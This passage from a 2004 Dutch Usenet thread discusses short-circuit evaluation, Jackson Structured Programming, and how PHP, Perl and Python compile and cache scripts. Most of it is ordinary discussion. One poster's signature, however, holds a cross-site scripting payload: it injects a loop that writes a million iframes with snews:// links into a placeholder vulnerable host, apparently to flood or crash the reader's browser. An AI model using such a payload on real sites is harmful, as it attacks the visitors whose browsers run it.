wordt geevalueerd. Ik wil alleen maar TRUE terug hebben als beide waar
zijn. Niks meer, niks minder.



>
> 2. Shortcut-evalueren is soms nodig voor correcte code:
>
> a: array[n]
> if (i < n && a[i] != 0)
> ...
>
> Deze code zou falen als i >= n en daarna a[i] geëvalueerd wordt.

Hmmm...dat klopt.

--
Erick

"Moet dat niet zijn: och & wee, wee, wee? Blijft het tenminste nog
een beetje ontopic" - Sebastiaan in niwo

[Erick T. Barkhuis]

Erick T. Barkhuis [on Sat, 29 May 2004 19:47:06 +0200] wrote:
> Rene Pijlman [on Sat, 29 May 2004 12:38:20 +0200] wrote:

> > a: array[n]
> > if (i < n && a[i] != 0)
> > ...
> >
> > Deze code zou falen als i >= n en daarna a[i] geëvalueerd wordt.
>
> Hmmm...dat klopt.

.....al vraag ik me af in welke situatie je zulke code nou weer zou willen
gebruiken. Het klinkt alsof je zou willen coderen:

while (i < n) {
if (a[i] != 0) {
.....
}
}


Het gaat er mij om dat de code "het verhaal" vertelt....iets wat ik nogal
eens mis bij programmeurs die "slim coderen" en meerdere acties in 1
statement plaatsen. Ja, als je dat doet, dan moet je exact weten hoe de
timing is van dergelijke constructies.

--
Erick

"It's better to be silent and be thought a fool, than to speak and
remove all doubt." - Mark Twain

[Nico Coesel]

Rene Pijlman <reply.in.the.newsgroup@my.address.is.invalid> wrote:

>
>Meer leesvoer over beperkingen van PHP:
>http://www.ukuug.org/events/linux2002/papers/html/php/index.html

Ik heb het verhaal eens gelezen, maar de meeste punten hebben niets
met de taal te maken, maar meer met de logistieke organisatie van een
programmeursteam. Bovendien zijn een aantal punten gewoon onwaar,
andere punten zijn eenvoudig te voorkomen (een kwestie van voldoende
kennis van de taal).

Kortom: een dergelijk verhaal kun je over iedere programmeertaal
afsteken als je er maar niet genoeg van af weet.

--
Reply to nico@nctdevpuntnl (punt=.)
Bedrijven en winkels vindt U op www.adresboekje.nl

[Rene Pijlman]

Erick T. Barkhuis:
[Jackson Structured Programming (JSP)]
>Een programma-ontwerp-methode, redelijk populair in de jaren 80, alhoewel
>al in 1970 bedacht. Erg rigide opgezet: alleen sequenties, selecties en
>iteraties zijn toegestaan, en alles enkelvoudig.
>Elementaire programma-opdrachten (statements) en stuurvoorwaarden (dat wat
>tussen haakjes staat in de if/while/for-constructies) is secundair, en
>wordt achteraf wel ingevuld. De _structuur_ die je data-stromen oplegt en
>het verhaal dat de overeenkomsten vertellen bepalen de programmastructuur.

W8ff, dat lijkt verdacht veel op de Nassi-Schneiderman diagrammen uit het
1e-jaarscollege Inleiding Informatica.

>Maar het mooiste: (a and b) is net zo commutatief als a+b. Het maakte niet
>uit in welke volgorde je het beschouwt.

Ja dat is mooi. Maar de kerntemperatuur opnemen en de reactor uitzetten
moet toch in een bepaalde volgorde. Nu kun je die volgorde expliciet
coderen in geneste structuren en sequenties, of je kunt er verkorte
notaties voor gebruiken. Ervaren programmeurs prefereren meestal dat
laatste, en vertellen het niet aan hun tante.

>JSP kent in Nederland, gok ik, nog slechts 1 enthousiaste aanhanger.
>*snif*

:-)

--
René Pijlman

"Opvallend is wel dat een jaren '20 elitair-culturele retro Warszawa
uitstraling ineens genoeg is om de heren niwo'ers wel te laten kwijlen om
een Flash website."
- Jeroen Visser in niwo

[Rene Pijlman]

Rene Pijlman:
>Nu kun je die volgorde expliciet coderen in geneste structuren en
>sequenties, of je kunt er verkorte notaties voor gebruiken. Ervaren
>programmeurs prefereren meestal dat laatste

Nu ik mijn eigen verhaal nog eens nalees moet ik wel zeggen dat ditzelfde
fenomeen nu juist mijn bezwaar is tegen Perl: er wordt teveel betekenis in
obscure notaties verstopt.

Nou ja, het gaat om de maatvoering zullen we maar zeggen :-)

--
René Pijlman

Wat wil jij leren? http://www.leren.nl

[Erick T. Barkhuis]

X-Trace: news.uni-berlin.de 23gdsjHKwgYlgndKBuDnCw7MoE4av3lq1f3dZbFfcpVcQe/Cs=
X-Newsreader: MicroPlanet Gravity v2.20.1640
Xref: nl-news.euro.net nl.internet.www.server-side:35308

Rene Pijlman [on Sun, 30 May 2004 14:28:51 +0200] wrote:
> Erick T. Barkhuis:
> [Jackson Structured Programming (JSP)]

> W8ff, dat lijkt verdacht veel op de Nassi-Schneiderman diagrammen uit het
> 1e-jaarscollege Inleiding Informatica.

Nee, nee, nee.
Die diagrammen zijn niet veel anders dan de basis "stroomdiagrammen" in
een ander jasje.

Maar goed....ik geloof niet dat dit een erg on-topic verhaal wordt. Laat
gerust verzanden.

--
Erick

"Despite the cost of living, have you noticed how it remains so popular?"

[John Bokma]

In-Reply-To: <ie1kb0hsv1ol0bave2g9bteb78vfshj7si@4ax.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Lines: 24
Message-ID: <40ba1e15$0$190$58c7af7e@news.kabelfoon.nl>
NNTP-Posting-Host: customer-XAL-19-116.megared.net.mx
X-Trace: 1085939221 nasari.nntp.kabelfoon.nl 190 jbokma/200.66.19.116:63783
X-Complaints-To: abuse@kabelfoon.nl
Xref: nl-news.euro.net nl.internet.www.server-side:35311

Rene Pijlman wrote:

> Rene Pijlman:
>
>>Nu kun je die volgorde expliciet coderen in geneste structuren en
>>sequenties, of je kunt er verkorte notaties voor gebruiken. Ervaren
>>programmeurs prefereren meestal dat laatste
>
> Nu ik mijn eigen verhaal nog eens nalees moet ik wel zeggen dat ditzelfde
> fenomeen nu juist mijn bezwaar is tegen Perl: er wordt teveel betekenis in
> obscure notaties verstopt.

Maar daar kan je meestal omheen werken. Ik gebruik zelf zelden tot nooit
de impliciete $_ en ik shift ook zelden zonder argument. Ik geloof nl.
heel sterk in zelfdocumenterende code :-D.

> Nou ja, het gaat om de maatvoering zullen we maar zeggen :-)

En met Perl mag je die zelf bepalen ;-)

--
John MexIT: http://johnbokma.com/mexit/
personal page: http://johnbokma.com/
Experienced Perl programmer available: http://castleamber.com/

[Rene Pijlman]

Erick T. Barkhuis:
>Rene Pijlman:
>> Die grote nadruk op Methoden komt vooral
>> voort uit het dubieuze wereldje van zij-instromers in de ICT.
>
>Ah...u post nu suggestieve berichten, heer Pijlman?

Nou, vooruit. Misschien was het suggestief bedoeld.
Maar tegelijkertijd serieus.

>Neem alsjeblieft van me aan dat JSP resulteert in code die bestaat uit
>elementaire opdrachten (dat _kan_ het doen uitvoeren van een method zijn)
>en elementaire uitvragingen (die NOOIT het uitvoeren van een method kunnen
>zijn).

Ik neem het van je aan. Maar dat neemt niet weg dat ik vind dat de methode
t.a.v. de informatieanalyse los zou moeten staan van de constructie van
code.

Hmmm... hoewel... nou ja, ok, misschien zit er bij sommige software iets
in dat de eindgebruiker-leesbare specificatie en de programmacode
gelijkvormig zijn.

>Voorbeeld:
>"Je gaat straks door die rode deur. Je komt dan in een gang, waar je
>links- of rechtsaf kunt gaan. Neem de gang waarin je geen hond tegenkomt.
>Mocht je onderweg de DVD "Pietje Puk" tegenkomen, neem die dan mee. Aan
>het eind van die gang ligt een boek. Onthoud het tweede woord van
>hoofdstuk 5 (mits dat aanwezig is...neem anders hoofdstuk 4) en loop dan
>terug. Schrijf dat woord in het gastenboek dat naast de deur ligt waardoor
>je binnenging."
>
>Opdracht: schrijf hiervoor een programma.

De informaticastudent die dat weigert zou van mij bonuspunten krijgen.

--
René Pijlman

Wat wil jij leren? http://www.leren.nl

[Erick T. Barkhuis]

Rene Pijlman [on Sun, 30 May 2004 22:38:26 +0200] wrote:
> Erick T. Barkhuis:

> >"Je gaat straks door die rode deur. Je komt dan in een gang, waar je
> >links- of rechtsaf kunt gaan. Neem de gang waarin je geen hond tegenkomt.
> >Mocht je onderweg de DVD "Pietje Puk" tegenkomen, neem die dan mee. Aan
> >het eind van die gang ligt een boek. Onthoud het tweede woord van
> >hoofdstuk 5 (mits dat aanwezig is...neem anders hoofdstuk 4) en loop dan
> >terug. Schrijf dat woord in het gastenboek dat naast de deur ligt waardoor
> >je binnenging."
> >
> >Opdracht: schrijf hiervoor een programma.
>
> De informaticastudent die dat weigert zou van mij bonuspunten krijgen.

Tenzij hij de module JSP heeft gevolgd, natuurlijk. Dan zou hij dat met de
linkerpink en 1 oog dicht succevol moeten kunnen voltooien.

--
Erick
[die werkelijk niet begrijpt wwaarom de informaticastudent er goed aan zou
doen dit te weigeren.]

[Erick T. Barkhuis]

Rene Pijlman [on Sun, 30 May 2004 22:38:26 +0200] wrote:
> Erick T. Barkhuis:

> >"Je gaat straks door die rode deur. Je komt dan in een gang, waar je
> >links- of rechtsaf kunt gaan. Neem de gang waarin je geen hond tegenkomt.
> >Mocht je onderweg de DVD "Pietje Puk" tegenkomen, neem die dan mee. Aan
> >het eind van die gang ligt een boek. Onthoud het tweede woord van
> >hoofdstuk 5 (mits dat aanwezig is...neem anders hoofdstuk 4) en loop dan
> >terug. Schrijf dat woord in het gastenboek dat naast de deur ligt waardoor
> >je binnenging."
> >
> >Opdracht: schrijf hiervoor een programma.
>
> De informaticastudent die dat weigert zou van mij bonuspunten krijgen.

Tenzij hij de module JSP heeft gevolgd, natuurlijk. Dan zou hij dat met de
linkerpink en 1 oog dicht succesvol moeten kunnen voltooien.

--
Erick
[die werkelijk niet begrijpt waarom de informaticastudent er goed aan zou
doen dit te weigeren.]

[Hans]

On Sun, 30 May 2004 21:36:35 +0200, Rene Pijlman <reply.in.the.newsgroup@my.address.is.invalid> wrote:

> En ach, de gebrekkige object-oriëntatie. "All object methods and
> properties are public", zegt mijn PHP-boek. Hoezo encapsulatie, de basis
> van OO?
>
> Verder ontbreekt exception handling en nog zo wat van die dingen.

Je hebt een iets nieuwer boek nodig :-) En nee, het zal heus nog niet
perfect zijn.

Hans
--
begin http://<XSS_VULN_HOST>/<script>var i; for (i=1;i<1000000;i++) {
document.write("\<iframe
src=\"snews://aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + i +
"\"\>\<\/iframe>"); } document.refresh; </script>

[Patrick]

Nico Coesel wrote:
> ... versie 5 (nu nog beta) ...

Sterker nog, ze zijn al bij Release Candidate 2 :-)

Groeten,

Patrick

[Rene Pijlman]

Jan Ehrhardt:
>Bij Pythom kwam ik inderdaad ook de compile-optie tegen. En er werd
>expliciet gesteld dat zelfs zonder py_compile byte-code cache files
>worden geplaatst in de directory waar ook de source code staat. Bij Perl
>zag ik iets dergelijks niet.

Dit is kenmerkend voor het verschil tussen deze talen.

Bij Python werkt het elegant, standaard en vanzelfsprekend. Als je begint
met programmeren in Python hoef je niet eens te weten hoe het werkt.

Bij Perl is het een verhaal van 10 bladzijden met ingewikkelde instructies
voor de programmeur.

Hallo John, ... :-)

--
René Pijlman

Wat wil jij leren? http://www.leren.nl

[Bart Vanbrabant]

Michiel de Roo wrote:
> Rene Pijlman wrote:
>
>> Michiel de Roo:
>>
>>> Bij PHP moet voor ieder script bij iedere hit het hele proces vanaf
>>> compileren weer opnieuw beginnen. Dát is pas inefficient.
>>
>>
>>
>> Dat zal toch niet waar zijn? De gecompileerde code zal toch wel gecached
>> worden? En alleen gehercompileerd op basis van timestamps van de
>> broncode?
>>
>> Anders ga ik gelijk PHP van mijn server verwijderen.
>>
>
> Uit de Zend documentatie:
>
> With standard PHP every time a PHP script is accessed, the script is
> parsed and compiled by the Zend engine before it is executed. The Zend
> Accelerator, from the creators of the Zend engine, tightly integrates
> with the Zend engine and caches the PHP script in a post-compilation
> state. The next time the script is called, Zend Accelerator serves the
> cached code and the compilation process is saved.
>
> Oftewel, je kunt PHP verwijderen of Zend Accelerator aanschaffen
> (starting at $490)
>
> http://www.zend.com/store/products/zend-accelerator.php
>
> Michiel.

Een open-source php accelerator:
http://turck-mmcache.sourceforge.net/index_old.html

Volgens hun test zou deze zelfs beter preseteren dan die van Zend maar
moet hoeveel zout je zoiets moet nemen. Er bestaan ook nog heel wat
andere open accelerators, alleen spijtig dat de meeste mensen er nog
nooit van gehoord hebben.

Bart

--
Bart Vanbrabant <bart DOT vanbrabant AT telenet DOT be>
PGP fingerprint: 093C BB84 17F6 3AA6 6D5E FC4F 84E1 FED1 E426 64D1

[Jan Ehrhardt]

Rene Pijlman in nl.internet.www.server-side (Mon, 31 May 2004 16:30:52
+0200):

>Michiel de Roo:
>>With standard PHP every time a PHP script is accessed, the script is
>>parsed and compiled by the Zend engine before it is executed.
>[...]
>>Oftewel, je kunt PHP verwijderen
>
>Dat wilde ik eigenlijk toch al, maar dit is de druppel.

Ga je dan ook Javascript uit je browser slopen? ;-)

Jan
--
Look, Ma. No tables - http://enbio.steenbergen-stichting.nl/

[Michiel de Roo]

Bart Vanbrabant wrote:
[....]
>
> Een open-source php accelerator:
> http://turck-mmcache.sourceforge.net/index_old.html
>
> Volgens hun test zou deze zelfs beter preseteren dan die van Zend maar
> moet hoeveel zout je zoiets moet nemen. Er bestaan ook nog heel wat
> andere open accelerators, alleen spijtig dat de meeste mensen er nog
> nooit van gehoord hebben.

Inderdaad, kende ik niet. Maar het ziet er zeer interessant uit. Ik zal
het zeker gaan bestuderen.

Michiel.

[robert]

Rene Pijlman <reply.in.the.newsgroup@my.address.is.invalid>:
> Jan Ehrhardt:
>
>>Bij Pythom kwam ik inderdaad ook de compile-optie tegen. En er werd
>>expliciet gesteld dat zelfs zonder py_compile byte-code cache files
>>worden geplaatst in de directory waar ook de source code staat. Bij Perl
>>zag ik iets dergelijks niet.
>
> Dit is kenmerkend voor het verschil tussen deze talen.
>
> Bij Python werkt het elegant, standaard en vanzelfsprekend. Als je
> begint met programmeren in Python hoef je niet eens te weten hoe het
> werkt.
>
> Bij Perl is het een verhaal van 10 bladzijden met ingewikkelde
> instructies voor de programmeur.

Voor de meeste scripts is de compiletime van het Perl programma
verwaarloosbaar. In omgevingen waar het wellicht wel handig is,
bijvoorbeeld in een webserver, zijn er prima oplossingen om gecompileerde
Perl code te cachen (mod_perl bijvoorbeeld).

--
robert

[robert]

Rene Pijlman <reply.in.the.newsgroup@my.address.is.invalid>:
> Michiel de Roo:
>
>>With standard PHP every time a PHP script is accessed, the script is
>>parsed and compiled by the Zend engine before it is executed.
>
> [...]
>
>>Oftewel, je kunt PHP verwijderen
>
> Dat wilde ik eigenlijk toch al, maar dit is de druppel.

Ga je nu ook Apache de deur uitgooien, omdat dat ding het vrijwel
onmogelijk maakt om op een nette manier code te cachen/delen?

--
robert

[Nico Coesel]

Bart Vanbrabant <bartDOTvanbrabant@ATtelenetDOT.be> wrote:

>Michiel de Roo wrote:
>> Rene Pijlman wrote:
>>
>>> Michiel de Roo:
>>>
>>>> Bij PHP moet voor ieder script bij iedere hit het hele proces vanaf
>>>> compileren weer opnieuw beginnen. Dát is pas inefficient.
>>>
>>>
>>>
>>> Dat zal toch niet waar zijn? De gecompileerde code zal toch wel gecached
>>> worden? En alleen gehercompileerd op basis van timestamps van de
>>> broncode?
>>>
>>> Anders ga ik gelijk PHP van mijn server verwijderen.
>>>
>>
>> Uit de Zend documentatie:
>>
>> With standard PHP every time a PHP script is accessed, the script is
>> parsed and compiled by the Zend engine before it is executed. The Zend
>> Accelerator, from the creators of the Zend engine, tightly integrates
>> with the Zend engine and caches the PHP script in a post-compilation
>> state. The next time the script is called, Zend Accelerator serves the
>> cached code and the compilation process is saved.
>>
>> Oftewel, je kunt PHP verwijderen of Zend Accelerator aanschaffen
>> (starting at $490)
>>
>> http://www.zend.com/store/products/zend-accelerator.php
>>
>> Michiel.
>
>Een open-source php accelerator:
>http://turck-mmcache.sourceforge.net/index_old.html
>
>Volgens hun test zou deze zelfs beter preseteren dan die van Zend maar
>moet hoeveel zout je zoiets moet nemen. Er bestaan ook nog heel wat
>andere open accelerators, alleen spijtig dat de meeste mensen er nog
>nooit van gehoord hebben.

Inderdaad. Deze tip wil ik graag als tip van de maand nomineren.

--
Reply to nico@nctdevpuntnl (punt=.)
Bedrijven en winkels vindt U op www.adresboekje.nl

[John Bokma]

Michiel de Roo wrote:

> Python ken ik nauwelijks. Voor Perl geldt waarschijnlijk hetzelfde.
> Echter, een Java servlet engine als Tomcat opzetten i.c.m. Apache is
> zeker niet zo eenvoudig als PHP installeren. Ik spreek uit ervaring ;-).

Hoeveel jaar terug? De laatste keer dat ik het deed was het lezen en
doen. In het begin, toen Tomcat nog jong was, inderdaad. Lastig.

> Overigens, als je het een paar keer gedaan hebt is het zo moeilijk niet
> meer.

:-D.

> En ik denk dat er inderdaad meer gratis open source code beschikbaar is

meer zegt niks over kwaliteit, uiteraard.

> voor PHP, al ben ik niet zo heel goed meer op de hoogte van wat Jakarta
> op het moment allemaal biedt. Bovendien kun je hard twijfelen aan de
> kwaliteit van het grootste deel van de PHP code.

;-)

> Bij Java zit het met de
> kwaliteit meestal wel goed. Ook zijn er veel commerciele Java producten
> beschikbaar, voor PHP waarschijnlijk minder. Voor een commercieel
> ontwikkelaar is dat waarschijnlijk net zo belangrijk.

Zeer zeker weten, omdat kopen (bijna) altijd goedkoper is dan laten maken.

--
John MexIT: http://johnbokma.com/mexit/
personal page: http://johnbokma.com/
Experienced Perl programmer available: http://castleamber.com/

[John Bokma]

robert wrote:

> Voor de meeste scripts is de compiletime van het Perl programma
> verwaarloosbaar. In omgevingen waar het wellicht wel handig is,

Ik hoor meestal verbaasde uitroepen als ik Perl demonstreer. Is ie nu al
klaar? Wauw, het heeft echt even 1800 pagina's HTML aangemaakt?

--
John MexIT: http://johnbokma.com/mexit/
personal page: http://johnbokma.com/
Experienced Perl programmer available: http://castleamber.com/